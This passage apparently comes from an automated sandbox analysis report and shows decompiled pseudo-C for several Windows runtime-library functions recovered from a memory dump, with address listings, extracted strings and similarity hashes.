																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E0466FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E0466FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E0466FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x4727b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x4727b84 = _t75;
						_t73 = E0464EB70(_t134, 0x4727b60);
						if( *0x4727b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E0464FF60( *0x4727b20);
							}
						}
						goto L5;
					}
				}
			}

0x0466fab0
0x0466fab2
0x0466fab3
0x0466fab4
0x0466fabc
0x0466fac0
0x0466fb14
0x0466fb17
0x0466fac2
0x0466fac8
0x0466facd
0x0466fad3
0x0466fad3
0x0466fadd
0x0466fb18
0x0466fb1b
0x0466fb1d
0x0466fb1e
0x0466fb1f
0x0466fb20
0x0466fb21
0x0466fb22
0x0466fb23
0x0466fb24
0x0466fb25
0x0466fb26
0x0466fb27
0x0466fb28
0x0466fb29
0x0466fb2a
0x0466fb2b
0x0466fb2c
0x0466fb2d
0x0466fb2e
0x0466fb2f
0x0466fb3a
0x0466fb3b
0x0466fb3e
0x0466fb41
0x0466fb44
0x0466fb47
0x0466fb4a
0x0466fb4d
0x0466fb53
0x046abdcb
0x046abdcb
0x0466fb59
0x0466fb5b
0x0466fb5b
0x0466fb5e
0x046abdd5
0x046abdd8
0x00000000
0x046abdda
0x00000000
0x046abdda
0x0466fb64
0x0466fb64
0x0466fb64
0x0466fb67
0x0466fb6e
0x0466fb70
0x0466fb72
0x00000000
0x0466fb78
0x0466fb7a
0x0466fb7a
0x0466fb7d
0x0466fb80
0x046abddf
0x046abde1
0x00000000
0x046abde3
0x00000000
0x046abde3
0x0466fb86
0x0466fb86
0x0466fb86
0x0466fb8b
0x0466fb90
0x0466fb92
0x0466fb94
0x0466fb9a
0x0466fb9b
0x0466fba1
0x046abde8
0x046abdeb
0x046abded
0x046abeb5
0x046abeb5
0x046abebb
0x046abebd
0x046abec3
0x046abed2
0x046abedd
0x046abedd
0x046abeed
0x00000000
0x046abdf3
0x046abdfe
0x046abe06
0x046abe0b
0x046abe0d
0x046abe0f
0x046abe14
0x046abe19
0x046abe20
0x046abe25
0x046abe27
0x046abe35
0x046abe39
0x046abe46
0x046abe4f
0x046abe54
0x046abe56
0x046abef8
0x046abef8
0x00000000
0x046abe5c
0x046abe5c
0x046abe60
0x00000000
0x046abe66
0x046abe66
0x046abe7f
0x046abe84
0x046abe87
0x046abe89
0x046abe8b
0x046abe99
0x046abe9d
0x046abea0
0x046abeac
0x046abeaf
0x046abeb1
0x046abeb3
0x046abeb3
0x00000000
0x046abea2
0x046abea2
0x00000000
0x046abea2
0x046abe8d
0x046abe8d
0x046abe92
0x00000000
0x046abe92
0x046abe8b
0x046abe60
0x046abe3b
0x046abe3b
0x046abe3e
0x00000000
0x046abe40
0x046abe40
0x046abe44
0x00000000
0x00000000
0x00000000
0x00000000
0x046abe44
0x046abe3e
0x046abe29
0x046abe29
0x00000000
0x046abe29
0x046abe27
0x00000000
0x0466fba7
0x0466fba7
0x0466fbab
0x046abf02
0x0466fbb1
0x0466fbb1
0x0466fbb8
0x0466fbbd
0x0466fbbd
0x0466fbbf
0x0466fbbf
0x0466fbc5
0x0466fbcb
0x0466fbf8
0x0466fbf8
0x0466fbfa
0x00000000
0x0466fc00
0x0466fc00
0x0466fc03
0x00000000
0x0466fc09
0x0466fc09
0x0466fc0f
0x0466fc15
0x0466fc23
0x0466fc23
0x0466fc25
0x0466fc27
0x0466fc75
0x0466fc7c
0x0466fc84
0x00000000
0x0466fc29
0x0466fc29
0x0466fc2d
0x0466fc30
0x046abf0f
0x00000000
0x0466fc36
0x0466fc38
0x0466fc3b
0x0466fc41
0x046abf17
0x046abf19
0x046abf48
0x046abf4b
0x00000000
0x046abf1b
0x046abf22
0x046abf24
0x046abf26
0x00000000
0x046abf2c
0x046abf37
0x046abf39
0x046abf3b
0x00000000
0x046abf41
0x046abf41
0x046abf41
0x046abf41
0x046abf45
0x00000000
0x046abf45
0x046abf3b
0x046abf26
0x00000000
0x0466fc47
0x0466fc47
0x0466fc49
0x0466fcb2
0x0466fcb4
0x0466fcb6
0x0466fcdc
0x0466fcdc
0x00000000
0x0466fcb8
0x0466fcc3
0x0466fcc5
0x0466fcc7
0x00000000
0x0466fcc9
0x0466fcc9
0x0466fccd
0x00000000
0x0466fccd
0x0466fcc7
0x00000000
0x0466fc4b
0x0466fc4b
0x0466fc4e
0x0466fc4e
0x0466fc51
0x0466fc51
0x0466fc54
0x0466fc5a
0x0466fc5c
0x0466fc5f
0x0466fc61
0x0466fc63
0x0466fc65
0x0466fc67
0x0466fc6e
0x0466fc72
0x0466fc72
0x0466fc72
0x0466fc72
0x0466fc67
0x0466fc61
0x00000000
0x0466fc5a
0x0466fc49
0x0466fc41
0x0466fc30
0x0466fc27
0x0466fc03
0x0466fbcd
0x0466fbd3
0x0466fbd9
0x0466fbdc
0x0466fbde
0x0466fc99
0x0466fc9b
0x0466fc9d
0x0466fcd5
0x0466fcd5
0x0466fc89
0x0466fc89
0x00000000
0x0466fc9f
0x0466fc9f
0x0466fca3
0x00000000
0x0466fca3
0x00000000
0x0466fbe4
0x0466fbe4
0x0466fbe4
0x0466fbe4
0x0466fbe9
0x0466fbf2
0x00000000
0x0466fbf2
0x0466fbde
0x0466fbcb
0x0466fbab
0x0466fc8b
0x0466fc8b
0x0466fc8c
0x0466fb80
0x0466fb72
0x0466fb5e
0x0466fc8d
0x0466fc91
0x0466fadf
0x0466fadf
0x0466fae1
0x0466fae4
0x0466fae7
0x0466faec
0x0466faf8
0x0466fb00
0x0466fb07
0x0466fb0f
0x0466fb0f
0x0466fb07
0x00000000
0x0466faf8
0x0466fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 046ABE0F

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 409d6daa5f7e040062c79d29e1b115de404ae754083c89b0a0deba8398ed1950
Instruction ID: 9355a1fe4aa8cbc8cd0d3b820954a154073bd4111d99a71f4f49c66d78c04942
Opcode Fuzzy Hash: 409d6daa5f7e040062c79d29e1b115de404ae754083c89b0a0deba8398ed1950
Instruction Fuzzy Hash: 71A1E1B1B00A069BEB29DF68D450B6AB7A5BF54B14F04456EE906DB780FB34FC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04632D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E04632D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x4725350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x4727bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E046797C0();
				}
				if( *0x47279c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x47279c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E04661624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E04657D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E046CFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E04679520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E0466E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L0468DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x4726901;
								_push(_t109);
								_v52 = _t98;
								if( *0x4726901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E04679980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E046795D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E04657D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E04657D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E046B7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E046CFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x4725350;
							if(_t109 != 0x4725350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E046CFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E046C5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x04632d8a
0x04632d8a
0x04632d92
0x04632d96
0x04632d9e
0x04632da0
0x04632da3
0x04632da5
0x04632da8
0x04632dab
0x04632db2
0x0468f9aa
0x0468f9ab
0x0468f9ae
0x0468f9ae
0x04632db8
0x04632dc2
0x0468f9b9
0x0468f9be
0x0468f9bf
0x0468f9bf
0x04632dcf
0x0468f9c9
0x04632dd5
0x04632dd5
0x04632dd5
0x04632dde
0x04632de1
0x04632e70
0x04632e72
0x04632e72
0x04632de7
0x04632deb
0x04632e7c
0x04632e83
0x04632e85
0x04632e8b
0x04632e8d
0x04632e92
0x04632e92
0x04632e85
0x04632df1
0x04632df7
0x04632df9
0x04632df9
0x04632dfc
0x04632dff
0x04632e02
0x00000000
0x04632e05
0x04632e0c
0x0468f9d9
0x04632e12
0x04632e12
0x04632e12
0x04632e1a
0x0468f9e3
0x0468f9e9
0x0468f9f0
0x0468f9f6
0x0468f9f8
0x0468f9f8
0x0468f9f0
0x04632e23
0x0468fa02
0x0468fa03
0x0468fa05
0x0468fa06
0x00000000
0x04632e29
0x04632e29
0x04632e2e
0x04632e34
0x04632e3e
0x00000000
0x00000000
0x04632e44
0x04632e47
0x04632e4d
0x00000000
0x00000000
0x04632e4f
0x04632e54
0x00000000
0x00000000
0x04632e5a
0x04632e5f
0x04632e9a
0x04632ea4
0x04632ea5
0x04632ea8
0x04632eaf
0x04632eb2
0x04632eb5
0x0468fae9
0x0468faeb
0x0468faed
0x0468faef
0x0468faf7
0x0468faf8
0x0468fafd
0x0468faff
0x0468fb04
0x0468fb04
0x0468faff
0x04632ec0
0x04632ec4
0x04632ec6
0x04632ec8
0x0468fb14
0x0468fb18
0x0468fb1e
0x0468fb21
0x0468fb21
0x04632ece
0x04632ece
0x04632ece
0x04632ed7
0x04632e61
0x04632e63
0x0468fa6b
0x0468fa71
0x0468fa76
0x0468fa78
0x0468fa8a
0x0468fa7a
0x0468fa83
0x0468fa83
0x0468fa8f
0x0468fa91
0x0468fa97
0x0468fa9d
0x0468faa4
0x0468faaa
0x0468faaf
0x0468fab1
0x0468fac3
0x0468fab3
0x0468fabc
0x0468fabc
0x0468fac8
0x0468facb
0x0468fadf
0x0468fadf
0x0468facb
0x0468faa4
0x0468fa91
0x04632e6f
0x04632e6f
0x04632e5f
0x0468fa13
0x0468fa15
0x0468fa17
0x0468fa1f
0x0468fa21
0x0468fa22
0x0468fa25
0x0468fa28
0x0468fa2f
0x0468fa2f
0x0468fa2a
0x0468fa2a
0x0468fa2a
0x0468fa31
0x0468fa34
0x0468fa36
0x0468fa3c
0x0468fa3e
0x0468fa41
0x0468fa43
0x0468fa45
0x0468fa45
0x0468fa41
0x0468fa3c
0x0468fa4a
0x0468fa4f
0x0468fa51
0x0468fa53
0x0468fa56
0x0468fa5b
0x0468fa5e
0x00000000
0x0468fa5e
0x04632e23

Strings

RTL: Re-Waiting, xrefs: 0468FA4A

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 23828a9451929c6795097302dce7c659f7aace850480d9ae141469a1bd8b3be7
Instruction ID: 9ce40cdb224d71611c192f43c740e0ba4fe7b44743a4258bfb47cb499d6e6ec3
Opcode Fuzzy Hash: 23828a9451929c6795097302dce7c659f7aace850480d9ae141469a1bd8b3be7
Instruction Fuzzy Hash: FB610271A00684EFEB35EF68C891B7EB7A5EB44728F1406AEE811973C0F774B9418791

Uniqueness

Uniqueness Score: -1.00%

Function 04700EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E04700EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E046FFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E04701074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E04679730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E046FA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E046FA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x4728b04 >> 0x14) + (_v44 -  *0x4728b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E04657D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E046F138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E04657D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E046EFEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x4728724 & 0x00000008) != 0) {
						E046F52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E047015B5(0x4728ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x04700eb7
0x04700eb9
0x04700ec0
0x04700ec2
0x04700ecd
0x0470105b
0x0470105b
0x04701061
0x04701066
0x04701066
0x0470106b
0x04701073
0x04701073
0x04700ed3
0x04700ed6
0x04700edc
0x04700ee0
0x04700ee7
0x04700ef0
0x04700ef5
0x04700efa
0x04700efc
0x04700efd
0x04700f03
0x04700f04
0x04700f06
0x04700f07
0x04700f09
0x04700f0e
0x04700f14
0x04700f23
0x04700f2d
0x04700f34
0x04700f34
0x04700f14
0x04700f52
0x00000000
0x00000000
0x04700f58
0x04700f73
0x04700f74
0x04700f79
0x04700f7d
0x04700f80
0x04700f86
0x04700fab
0x04700fb5
0x04700fc6
0x04700fd1
0x04700fe3
0x04700fd3
0x04700fdc
0x04700fdc
0x04700feb
0x04701009
0x04701009
0x04701015
0x04701027
0x04701017
0x04701020
0x04701020
0x0470102f
0x0470103c
0x0470103c
0x04701048
0x04701050
0x04701050
0x04701055
0x00000000
0x04701055
0x04700f88
0x04700f9e
0x04700fa2
0x04700fa9
0x00000000
0x00000000
0x00000000
0x04700fa9
0x00000000

Strings

`, xrefs: 04700F16

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: e287692bc404b506f55d13db2fbfed1caadced57a6f123351337e1e77dbb73f5
Instruction ID: da85aadf0e09aa76cc6521f768e765926863b5b685aaa136665482b95564ba34
Opcode Fuzzy Hash: e287692bc404b506f55d13db2fbfed1caadced57a6f123351337e1e77dbb73f5
Instruction Fuzzy Hash: A4519C71205381DFE325DF28D984B2BB7E5EB84314F448A2DF99697390E672F805C762

Uniqueness

Uniqueness Score: -1.00%

Function 0466F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0466F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E04654120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E04679830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E04679990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E046795D0();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0xa61ce01a
							_t109 = L04654620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2000a61c
								E0467F3E0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2000a61c
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E046795D0();
										L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x0466f0d3
0x0466f0d9
0x0466f0e0
0x0466f0e7
0x0466f0f2
0x0466f0f4
0x0466f0f8
0x0466f100
0x0466f108
0x0466f10d
0x0466f115
0x0466f116
0x0466f11f
0x0466f123
0x0466f124
0x0466f12c
0x0466f130
0x0466f134
0x0466f13d
0x0466f144
0x0466f14b
0x0466f152
0x046abab0
0x046abab0
0x0466f158
0x0466f158
0x0466f15a
0x0466f160
0x0466f165
0x0466f166
0x0466f16f
0x0466f173
0x046abaa7
0x046abaa7
0x046abaab
0x00000000
0x0466f179
0x0466f179
0x0466f18d
0x0466f191
0x046abaa2
0x00000000
0x0466f197
0x0466f19b
0x0466f1a2
0x0466f1a9
0x0466f1af
0x0466f1b2
0x0466f1b6
0x0466f1b9
0x0466f1c0
0x0466f1c4
0x0466f1d8
0x0466f1df
0x0466f1e3
0x0466f1e6
0x0466f1eb
0x0466f1ee
0x0466f1f4
0x0466f20f
0x046abab7
0x046ababb
0x046abacc
0x046abad1
0x0466f215
0x0466f218
0x0466f226
0x0466f22b
0x00000000
0x0466f22b
0x0466f1f6
0x0466f1f6
0x0466f1f9
0x0466f1fb
0x0466f1fb
0x0466f1f4
0x0466f191
0x0466f173
0x0466f152
0x0466f203

Strings

@, xrefs: 0466F124

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: e8ecfc118b55dfebd4ab9980cdb7d32f149f7bccb1317043d6697c2a4ed5eb64
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 32517B716047109FD320DF29C840A6BBBF8FF88754F00892DFA96876A0E7B4E954CB95

Uniqueness

Uniqueness Score: -1.00%

Function 046B3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E046B3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x472d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E04670BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E046B3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E0467FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E046B3540;
						E0467FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E0468DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E046C0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
